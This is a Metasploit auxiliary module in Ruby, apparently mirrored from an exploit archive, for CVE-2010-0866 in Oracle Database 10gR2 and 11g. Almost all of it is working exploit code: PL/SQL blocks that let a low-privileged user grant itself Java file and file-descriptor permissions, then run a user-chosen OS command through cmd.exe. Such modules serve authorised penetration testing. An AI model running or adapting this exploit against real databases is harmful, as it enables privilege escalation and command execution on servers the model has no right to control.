## https://sploitus.com/exploit?id=PACKETSTORM:180728
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::ORACLE
def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle DB 10gR2, 11gR1/R2 DBMS_JVM_EXP_PERMS OS Command Execution',
'Description' => %q{
This module exploits a flaw (0 day) in DBMS_JVM_EXP_PERMS package that allows
any user with create session privilege to grant themselves java IO privileges.
Identified by David Litchfield. Works on 10g R2, 11g R1 and R2 (Windows only)
},
'Author' => [ 'sid[at]notsosecure.com' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-0866'],
[ 'OSVDB', '62184'],
[ 'URL', 'http://blackhat.com/html/bh-dc-10/bh-dc-10-archives.html#Litchfield' ],
[ 'URL', 'http://www.notsosecure.com/folder2/2010/02/04/hacking-oracle-11g/' ],
],
'DisclosureDate' => '2010-02-01'))
register_options(
[
OptString.new('CMD', [ false, 'CMD to execute.', "echo metasploit >> %SYSTEMDRIVE%\\\\unbreakable.txt"]),
])
end
def run
return if not check_dependencies
name = Rex::Text.rand_text_alpha(rand(10) + 1)
package1 = "DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;" +
"CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','"
package1 << "<" << "<ALL FILES>>','execute','ENABLED' from dual;" +
"BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;"
package2 = "DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;" +
"CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.lang.RuntimePermission','writeFileDescriptor',NULL,'ENABLED' FROM DUAL;" +
"BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;"
package3 = "DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;" +
"CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.lang.RuntimePermission','readFileDescriptor',NULL,'ENABLED' FROM DUAL;" +
"BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;"
os_code = "select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe', '/c', ' #{datastore['CMD']}')from dual"
begin
print_status("Attempting to grant JAVA IO Privileges")
prepare_exec(package1)
prepare_exec(package2)
prepare_exec(package3)
print_status("Attempting to execute OS Code")
prepare_exec(os_code)
rescue => e
print_error("Error: #{e.class} #{e}")
end
end
end